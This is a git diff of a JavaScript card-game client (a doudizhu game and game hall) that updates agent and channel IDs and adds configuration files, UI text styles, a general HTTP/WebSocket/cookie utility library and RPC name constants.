Game_Config.Max = { diff --git a/games/games/Projects/clinet/doudizhu/js/01_SubGame/02_SubGame_Input.js b/games/games/Projects/clinet/doudizhu/js/01_SubGame/02_SubGame_Input.js index f27bb0f..ee5b986 100644 --- a/games/games/Projects/clinet/doudizhu/js/01_SubGame/02_SubGame_Input.js +++ b/games/games/Projects/clinet/doudizhu/js/01_SubGame/02_SubGame_Input.js @@ -29,6 +29,9 @@ gameHallImport.up_imgurl = function(recid,photo){ gameHallImport.getphoto = function(recid,photo){ console.log("getphoto"); } +// Game_Modify.appStart =function(){ + +// } Game_Modify.StartWar=function(_msg){//开战 } diff --git a/games/games/Projects/clinet/doudizhu/version.js b/games/games/Projects/clinet/doudizhu/version.js index 867d0d4..535cc3e 100644 --- a/games/games/Projects/clinet/doudizhu/version.js +++ b/games/games/Projects/clinet/doudizhu/version.js @@ -1,5 +1,5 @@ -GameData.AgentId = "i33v0llvp0euhd1n9qo1fM2RV8vtog4y"; -GameData.ChannelId = "7N0e0z2u2098pf1M2fj0kyB1D4n4ylkA";; +GameData.AgentId = "veRa0qrBf0df2K1G4de2tgfmVxB2jxpv"; +GameData.ChannelId = "FtJf073aa0d6rI1xD8J1Y42fINTm0ziK";; GameData.GameId = "FDtj0pGhT0Evjd3efAS5wkIlamiTh2oa"; GameData.Version = "1.30";//真实版本号1 代理商 天盛网络 游戏 GameData.versionCode = 30;//真实版本号 diff --git a/games/games/Projects/clinet/gamehall/FilesOrd.txt b/games/games/Projects/clinet/gamehall/FilesOrd.txt new file mode 100644 index 0000000..aed768c --- /dev/null +++ b/games/games/Projects/clinet/gamehall/FilesOrd.txt @@ -0,0 +1,23 @@ +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\gameabc.min.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\gamemain.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Game_Surface_1_Event.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\niuniu_surface_Event.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Const.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Data.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Desk.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Func.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Game.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\GameUI.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\jquery.min.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Logic.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\minhttp.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Net.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\niuniu_surface_Event.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Player.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Utl_Input.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\Utl_Output.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\Surface\youle.develop.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\SubGame\banWords.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\SubGame\SubGame_Config.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\SubGame\SubGame_modify.js +E:\YouLeGames\client\games2\Projects\Game_Surface_1\js\SubGame\Banwords.js diff --git a/games/games/Projects/clinet/gamehall/Project.txt b/games/games/Projects/clinet/gamehall/Project.txt new file mode 100644 index 0000000..4311de6 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/Project.txt @@ -0,0 +1,7 @@ +LayerStartID=102 +SpiritStartID=1001 +ImgResStartID=501 +TxtResStartID=200 +VoiResStartID=51 +GameStartFile=index.html +OpenLayerList=4,5,29 diff --git a/games/games/Projects/clinet/gamehall/app_battery.js b/games/games/Projects/clinet/gamehall/app_battery.js new file mode 100644 index 0000000..cc00a8a --- /dev/null +++ b/games/games/Projects/clinet/gamehall/app_battery.js @@ -0,0 +1 @@ +var app_getbattery=1; \ No newline at end of file diff --git a/games/games/Projects/clinet/gamehall/app_data.js b/games/games/Projects/clinet/gamehall/app_data.js new file mode 100644 index 0000000..986c46e --- /dev/null +++ b/games/games/Projects/clinet/gamehall/app_data.js @@ -0,0 +1 @@ +var app_version=0;var app_gameconfig='1';var app_gamedir='1';var app_gamestart='1';var app_agent='1';var app_appversion='1';var app_market='2';var app_channel='1';var app_Launchtype=0; var app_getwifisignalLevel=1;var app_gamename=0; diff --git a/games/games/Projects/clinet/gamehall/app_gamesname.js b/games/games/Projects/clinet/gamehall/app_gamesname.js new file mode 100644 index 0000000..e96aee8 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/app_gamesname.js @@ -0,0 +1 @@ +var app_gamesname=new Array('1'); \ No newline at end of file diff --git a/games/games/Projects/clinet/gamehall/app_network.js b/games/games/Projects/clinet/gamehall/app_network.js new file mode 100644 index 0000000..35f48af --- /dev/null +++ b/games/games/Projects/clinet/gamehall/app_network.js @@ -0,0 +1 @@ +var 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{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{ + "GameTxtID": 201, + "Text": "nickname", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 203, + "ColorB": 92, + "Color": "#FFCB5C" + },{ + "GameTxtID": 202, + "Text": "id", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 203, + "Text": "roomcard", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 203, + "ColorB": 92, + "Color": "#FFCB5C" + },{ + "GameTxtID": 204, + "Text": "\u603b\u623f\u5361\u6570", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 205, + "Text": "\u5c40\u65701", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 206, + "Text": "\u5c40\u65702", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 207, + "Text": "\u4e0b\u6ce81", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 208, + "Text": "\u4e0b\u6ce82", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 209, + "Text": "\u4e0b\u6ce83", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 210, + "Text": "\u623f\u95f4\u53f7\u7801", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 211, + "Text": "\u73a9\u6cd5\u4e00", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 212, + "Text": "\u73a9\u6cd5\u4e8c", + "Size": 20, + "Bold": 0, + "ColorR": 255, + "ColorG": 255, + "ColorB": 255, + "Color": "#FFFFFF" + },{ + "GameTxtID": 213, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 214, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 215, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 216, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 217, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 218, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 219, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 220, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 221, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 222, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 223, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 224, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 0, + "ColorG": 0, + "ColorB": 0, + "Color": "#000000" + },{ + "GameTxtID": 225, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 226, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 227, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 228, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 229, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 230, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 231, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 232, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 233, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 234, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 235, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 236, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 237, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 238, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + 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"Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 247, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 248, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 249, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 250, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 251, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 252, + "Text": "0", + "Size": 20, + "Bold": 0, + "ColorR": 102, + "ColorG": 41, + "ColorB": 16, + "Color": "#662910" + },{ + "GameTxtID": 253, + "Text": "0", + "Size": 20, + "Bold": 0, + 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+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/games/games/Projects/clinet/gamehall/index2.html b/games/games/Projects/clinet/gamehall/index2.html new file mode 100644 index 0000000..5a63752 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/index2.html @@ -0,0 +1,108 @@ + + + + + + + + + +gameabc + + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/00_minhttp.js b/games/games/Projects/clinet/gamehall/js/00_Surface/00_minhttp.js new file mode 100644 index 0000000..6fa8ae0 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/00_minhttp.js @@ -0,0 +1,656 @@ +(function(wnd, undef){ + + //复制json对象 + function min_copyjson(json) + { + return JSON.parse(JSON.stringify(json)); + } + + //json对象转字符串 + function min_jsontostr(json) { + return JSON.stringify(json); + } + + //字符串转json对象 + function min_strtojson(str) { + return JSON.parse(str); + } + + //字符串转整型 def:转换失败时返回的默认值 + function min_strtoint(str, def) { + var i = parseInt(str); + if (i == 0) { + return 0; + }; + if (!i) { //=0也会进来 + if (!def) { + def = 0; + }; + i = def; + } + return i; + }; + + //整型转字符串 + function min_inttostr(i) { + return i.toString(); + }; + + //整除 + function min_div(i, b) + { + if (!b) { + return parseInt(i); + } + return parseInt(i / b); + }; + + //取余数 + function min_mod(a, b){ + return a % b; + }; + + //取绝对值 + function min_abs(b) { + return Math.abs(b); + }; + + //取随机数 + function min_random(min, max) { + var Range = max - min; + var Rand = Math.random(); + return (min + Math.round(Rand * Range)); + }; + //取随机数1 + function min_random1(num) { + return parseInt(Math.random()*num); + }; + + //随机字符串 + function min_randomChar(length){ + var x = "0123456789"; + var y = "qwertyuioplkjhgfdsazxcvbnm"; + var z = "QWERTYUIOPLKJHGFDSAZXCVBNM"; + var tmp = ""; + for (var i = 0; i < length; i++) { + switch(min_random(0, 2)) { + case 0: + tmp += x.charAt(Math.ceil(Math.random()*100000000)%x.length); + break; + case 1: + tmp += y.charAt(Math.ceil(Math.random()*100000000)%y.length); + break; + case 2: + tmp += z.charAt(Math.ceil(Math.random()*100000000)%z.length); + break; + default: + break; + } + } + // var timestamp = new Date().getTime(); + // return timestamp + tmp; + return tmp; + } + + //取长度 + function min_length(key) { + if (typeof(key) != "string") { + var key = key + ""; + } + return key.length; + } + + //字符全替换 + function min_replaceAll(str, str_old, str_new, ignoreCase) + { + if (!RegExp.prototype.isPrototypeOf(str_old)) { + return str.replace(new RegExp(str_old, (ignoreCase ? "gi": "g")), str_new); + } else { + return str.replace(str_old, str_new); + } + } + + //取本地当前时间,格式yyyy-MM-dd HH:MM:SS + function min_now() + { + var date = new Date(); + var seperator1 = "-"; + var seperator2 = ":"; + var month = date.getMonth() + 1; + var strDate = date.getDate(); + if (month >= 1 && month <= 9) { + month = "0" + month; + } + if (strDate >= 0 && strDate <= 9) { + strDate = "0" + strDate; + } + var currentdate = date.getFullYear() + seperator1 + month + seperator1 + strDate + + " " + date.getHours() + seperator2 + date.getMinutes() + + seperator2 + date.getSeconds(); + return currentdate; + } + + //本地存储数据 + function min_writefile_gameid(msg, gameid, fileid) { + localStorage.setItem("file_" + gameid + "_" + fileid, msg); + } + + //读取本地数据 + function min_readfile_gameid(gameid, fileid) { + return localStorage.getItem("file_" + gameid + "_" + fileid); + } + + //取当前页面url中的参数值 def:没取到时返回的默认值 + function min_getQueryString(name, def) { + var self = window; + var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); + var r = self.location.search.substr(1).match(reg); + if (r != null) { + return unescape(r[2]) + } else { + if (def) { + return def; + } else { + return null; + } + } + } + + //获取当前页面的路径 + function min_getUrlRootPath() { + var curWwwPath = window.location.host; + var pathName = window.location.pathname; + return curWwwPath + pathName.substr(0,pathName.lastIndexOf('/')); + } + + //设置cookie + function min_setCookie(name, value, exp_minute) { + if (!exp_minute) { + exp_minute = 20; //默认时效20分钟 + } + var exp = new Date(); + exp.setTime(exp.getTime() + exp_minute*60*1000); + document.cookie = name + "=" + value + ";expires=" + exp.toGMTString()+';path=/'; + } + + //读取cookie + function min_getCookie(name) { + var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)")); + if(arr != null) + return arr[2]; + return null; + } + + //删除cookie + function min_delCookie(name) { + var value = min_getCookie(name); + if (value) { + min_setCookie(name, value, 0); + } + } + + //获取一个dom + function min_getdom(id) + { + return document.getElementById(id); + }; + + //设置一个dom属性值 id:dom、或dom的id、或实列,key:属性,val:值 + function min_setdom(id, key, val) { + var obj; + if (typeof(id) == 'string') { + obj = min_getdom(id); + } + else { + obj = id; + } + obj.setAttribute(key, val); + } + + //添加一段innerHTML + function min_uphtml(id, str, isadd) { + /* + setAttribute是设置网页元素的属性,就是在标签里内如标签的src属性。 + innerHTML不是属性,只是JS里内代表一个双标记中间的文本,如: 中间的字符。 + */ + var obj = window.document.getElementById(id); + if (isadd) { + obj.innerHTML = obj.innerHTML + str; + } + else { + obj.innerHTML = str; + } + } + + //新建一个定时器每隔time毫秒执行一次func函数,函数返回定时器id + function min_ontime(func, time) + { + return setInterval(func, time); + } + + //新建一个定时器time毫秒后执行一次func函数(只执行一次),函数返回定时器id + function min_ontimeout(func, time) + { + return setTimeout(func, time); + } + + //关闭定时器id为timerid的定时器 + function min_closetime(timerid) + { + return clearTimeout(timerid); + } + + //encode转码 + function min_encode(s) + { + return encodeURIComponent(s); + } + + //decode解码 + function min_decode(s) + { + return decodeURIComponent(s); + } + + //新建一个tcp连接 + function min_tcp(config) + { + var ws = new WebSocket("ws://" + config.ipport); //"127.0.0.1:5414" + + //连接上服务器后触发的事件 + if (config.onopen) { + ws.onopen = config.onopen; + }; + + //收到服务器发来的数据包后触发的事件,onmessage函数会有一个底层的msg参数,其中msg.data才是服务器发过来的业务数据 + if (config.onmessage) { + ws.onmessage = config.onmessage; + }; + + //断开与服务器的连接后触发的事件 + if (config.onclose) { + ws.onclose = config.onclose; //断开连接的事件 + }; + + return ws; + } + + //http请求 + function min_http(config) { + /* + config = + { + url: "http://127.0.0.1:5414/index.html", + type: "POST", //GET or POST 方法 + data: "", //请求的数据 + success: func_callback_succ, //请求成功后的回调函数function(data,status,callbackdata) + error: func_callback_err, //请求失败后的回调函数function(data,status) + callbackdata: "", //作为回调函数第三个参数带入回调函数的数据 + //enurl: 0, //是否encodeURIComponent转码, 默认0不转码 + //deurl: 0, //是否decodeURIComponent解码,默认0不解码 + debugLog: false, //是否输出debug日志,默认false + method: "(OPTIONAL) True for async and False for Non-async | By default its Async" + } + */ + if (!config.debugLog) { + config.debugLog = false; + } + if (!config.enurl) { + config.enurl = 0; + } + if (!config.deurl) { + config.deurl = 0; + } + if (!config.method) { + config.method = true; + } + + if (!config.url) { + if (config.debugLog == true) { + console.log("No Url!"); + } + return; + }; + + if (!config.type) { + if (config.debugLog == true) { + console.log("No Default type (GET/POST) given!"); + } + return; + } + + var xmlhttp = initXMLhttp(); + + xmlhttp.onreadystatechange = function() { + if (xmlhttp.readyState == 4 && xmlhttp.status == 200 && config.success) + { + var responseText = mydecodeURIComponent(xmlhttp.responseText, config.deurl); + if (!config.callbackdata) { + config.success(responseText, xmlhttp.readyState); + } + else { + config.success(responseText, xmlhttp.readyState, config.callbackdata); + } + if (config.debugLog == true) { + console.log("SuccessResponse"); + } + if (config.debugLog == true) { + console.log("Response Data:" + xmlhttp.responseText); + } + } + else + { + if (xmlhttp.readyState == 4 && config.error) + { + if (!config.callbackdata) { + config.error(xmlhttp.readyState, xmlhttp.status); + } + else { + config.error(xmlhttp.readyState, xmlhttp.status, config.callbackdata); + } + } + if (config.debugLog == true) { + console.log("FailureResponse --> readyState:" + xmlhttp.readyState + ", Status:" + xmlhttp.status); + } + } + } + + var sendString = [], + sendData = config.data; + if (typeof sendData === "string") { + var tmpArr = String.prototype.split.call(sendData, '&'); + for (var i = 0, j = tmpArr.length; i < j; i++) { + var datum = tmpArr[i].split('='); + if (datum[1]) { + sendString.push(myencodeURIComponent(datum[0], config.enurl) + "=" + myencodeURIComponent(datum[1], config.enurl)); + } + else { + sendString.push(myencodeURIComponent(datum[0], config.enurl)); + } + } + } + else if (typeof sendData === 'object' && !(sendData instanceof String || (FormData && sendData instanceof FormData))) { + for (var k in sendData) { + var datum = sendData[k]; + if (Object.prototype.toString.call(datum) == "[object Array]") { + for (var i = 0, j = datum.length; i < j; i++) { + sendString.push(myencodeURIComponent(k, config.enurl) + "[]=" + myencodeURIComponent(datum[i], config.enurl)); + } + } + else { + sendString.push(myencodeURIComponent(k, config.enurl) + "=" + myencodeURIComponent(datum, config.enurl)); + } + } + } + sendString = sendString.join('&'); + + if (config.type == "GET") { + var g; + var i = config.url.lastIndexOf("?"); + if (i > 8) { + g = "&"; + } else { + g = "?"; + } + var ddata = new Date().getMilliseconds(); + if (sendString == "") { + sendString = '#dfw1977=' + (ddata + min_random(1, 99999) * 1000); + } else { + sendString = sendString + '#dfw1977=' + (ddata + min_random(1, 99999) * 1000); + } + xmlhttp.open("GET", config.url + g + sendString, config.method); + xmlhttp.send(); + + if (config.debugLog == true) { + console.log("GET fired at:" + config.url + "?" + sendString); + } + } + if (config.type == "POST") { + xmlhttp.open("POST", config.url, config.method); + xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); + xmlhttp.send(sendString); + + if (config.debugLog == true) { + console.log("POST fired at:" + config.url + " || Data:" + sendString); + } + } + } + + function initXMLhttp() { + var xmlhttp; + if (window.XMLHttpRequest) { + //code for IE7,firefox chrome and above + xmlhttp = new XMLHttpRequest(); + } else { + //code for Internet Explorer + xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); + } + return xmlhttp; + } + + //转码 + function myencodeURIComponent(s, ifif) + { + if (ifif == 1) { + return min_encode(s); + } else { + return s; + } + } + + //解码 + function mydecodeURIComponent(s, ifif) + { + if (ifif == 1) { + return min_decode(s); + } else { + return s; + } + + } + + //在数组中根据元素值查找下标 + function min_ary_indexof(array1, val, name) + { + for (var i = 0; i < array1.length; i++) + { + if (!name) + { + if (array1[i] == val) + return i; + } + else + { + if (array1[i][name] == val) + return i; + } + } + return -1; + }; + + //在数组中根据值删除元素 + function min_ary_delval(array1, val, name) + { + var index = min_ary_indexof(array1, val, name); + if (index > -1) + { + array1.splice(index, 1); + } + }; + + //在数组中根据下标删除诺干个元素 + function min_ary_delfromto(array1, from, to) + { + var rest = array1.slice((to || from) + 1 || array1.length); + array1.length = from < 0 ? array1.length + from : from; + array1.push.apply(array1, rest); + }; + + //在数组中删除某一对象元素 + function min_ary_delobj(array1, object) + { + for (var i = 0; i < array1.length; ++i) + { + if (array1[i] === object) + { + array1.splice(i, 1); + break; + } + } + }; + + //数组包含 + function min_ary_include(aryparent, arychild){ + for (var i = 0; i < arychild.length; i++) { + var found = false; + for (var j = 0; j < aryparent.length; j++) { + if (aryparent[j] == arychild[i]){ + found = true; + break; + } + } + if (!found){ + return false; + } + } + return true; + }; + + //数组相减 + function min_ary_deduct(aryparent, arychild){ + var re = []; + for (var i = 0; i < aryparent.length; i++){ + var found = false; + for (var j = 0; j < arychild.length; j++){ + if (aryparent[i] == arychild[j]){ + found = true; + break; + } + } + if (!found){ + re.push(aryparent[i]) + } + } + return re; + }; + + //是否存在指定函数 + function min_ExitsFunction(funcName) + { + try + { + if (typeof(funcName) == "function") + { + return true; + } + } + catch(e) + {} + return false; + } + + //(按顺序)加载js文件 + function min_loadJsFile(str_jsfile, func_succ, NoRandomFlag) + { + var domScript = document.createElement('script'); + if (!NoRandomFlag) + { + // str_jsfile = str_jsfile + '?' + Math.random() * 10000; + // str_jsfile = str_jsfile + '?' + min_random(1, 10000000); + str_jsfile = str_jsfile + '?' + min_timestamp(); + } + domScript.src = str_jsfile; + func_succ = func_succ || function(){}; + domScript.onload = domScript.onreadystatechange = function() { + if (!this.readyState || 'loaded' === this.readyState || 'complete' === this.readyState) { + func_succ(); + this.onload = this.onreadystatechange = null; + this.parentNode.removeChild(this); + } + } + document.getElementsByTagName('head')[0].appendChild(domScript); + } + + //生成一个GUID + function min_guid() + { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { + var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8); + return v.toString(16);}); + } + + //获取时间戳 + function min_timestamp() + { + return new Date().getTime(); + } + + + wnd.min_copyjson = min_copyjson; //复制json对象 + wnd.min_jsontostr = min_jsontostr; //json转字符串 + wnd.min_strtojson = min_strtojson; //字符串转json + wnd.min_inttostr = min_inttostr; //整型转字符型 + wnd.min_strtoint = min_strtoint; //字符型转整型 + + wnd.min_div = min_div; //整除 + wnd.min_mod = min_mod; //取余数 + wnd.min_abs = min_abs; //取绝对值 + wnd.min_random = min_random; //取随机数 + wnd.min_random1 = min_random1; //取随机数1 + wnd.min_randomChar = min_randomChar; //随机字符串 + wnd.min_length = min_length; //取长度 + wnd.min_replaceAll = min_replaceAll; //字符全替换 + + wnd.min_now = min_now; //取本地当前时间 + wnd.min_guid = min_guid; //生成一个GUID + + wnd.min_getQueryString = min_getQueryString; //取当前页面url中的参数值 + wnd.min_getUrlRootPath = min_getUrlRootPath; //获取当前页面的路径 + + wnd.min_setCookie = min_setCookie; //设置cookie + wnd.min_getCookie = min_getCookie; //读取cookie + wnd.min_delCookie = min_delCookie; //删除cookie + + wnd.min_getdom = min_getdom; //获取一个dom + wnd.min_setdom = min_setdom; //设置一个dom属性值 + wnd.min_uphtml = min_uphtml; //添加一段innerHTML + + wnd.min_ontime = min_ontime; //新建一个周期性的定时器 + wnd.min_ontimeout = min_ontimeout; //新建一个一次性的定时器 + wnd.min_closetime = min_closetime; //关闭定时器 + + wnd.min_writefile_gameid = min_writefile_gameid; //本地存储数据 + wnd.min_readfile_gameid = min_readfile_gameid; //读取本地数据 + + wnd.min_encode = min_encode; //encodeURIComponent转码 + wnd.min_decode = min_decode; //decodeURIComponent解码 + + wnd.min_tcp = min_tcp; //新建一个tcp连接 + wnd.min_http = min_http; //http请求 + + wnd.min_ary_indexof = min_ary_indexof; //在数组中根据元素值查找下标 + wnd.min_ary_delval = min_ary_delval; //在数组中根据值删除元素 + wnd.min_ary_delfromto = min_ary_delfromto; //在数组中根据下标删除诺干个元素 + wnd.min_ary_delobj = min_ary_delobj; //在数组中删除某一对象元素 + wnd.min_ary_include = min_ary_include; //数组包含 + wnd.min_ary_deduct = min_ary_deduct; //数组相减 + + wnd.min_ExitsFunction = min_ExitsFunction; //是否存在函数 + wnd.min_loadJsFile = min_loadJsFile; //加载js文件 + + wnd.min_guid = min_guid; //生成一个GUID + wnd.min_timestamp = min_timestamp; //获取时间戳 +})(window); + + + + + + + + + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/02_Const.js b/games/games/Projects/clinet/gamehall/js/00_Surface/02_Const.js new file mode 100644 index 0000000..b1d436a --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/02_Const.js @@ -0,0 +1,822 @@ +var AppList = AppList||{}; +var RouteList = RouteList||{}; +var RpcList = RpcList||{}; +//--------------AppList--------------- +AppList.app = "youle"; + +//-----------RouteList------------- +RouteList.platform = "platform"; +RouteList.agent="agent"; +RouteList.room="room"; + + +//----------------RpcList-------------- +RpcList.player_login = "player_login"; +RpcList.self_join_room = "self_join_room"; +RpcList.create_room = "create_room"; +RpcList.self_break_room = "self_break_room"; +RpcList.other_break_room = "other_break_room"; +RpcList.other_join_room = "other_join_room"; +RpcList.self_exit_room = "self_exit_room"; +RpcList.other_exit_room = "other_exit_room"; +RpcList.self_apply_free_room = "self_apply_free_room"; +RpcList.other_apply_free_room = "other_apply_free_room"; +RpcList.self_agree_free_room = "self_agree_free_room"; +RpcList.other_agree_free_room = "other_agree_free_room"; +RpcList.self_refuse_free_room = "self_refuse_free_room"; +RpcList.other_refuse_free_room = "other_refuse_free_room"; +RpcList.free_room = 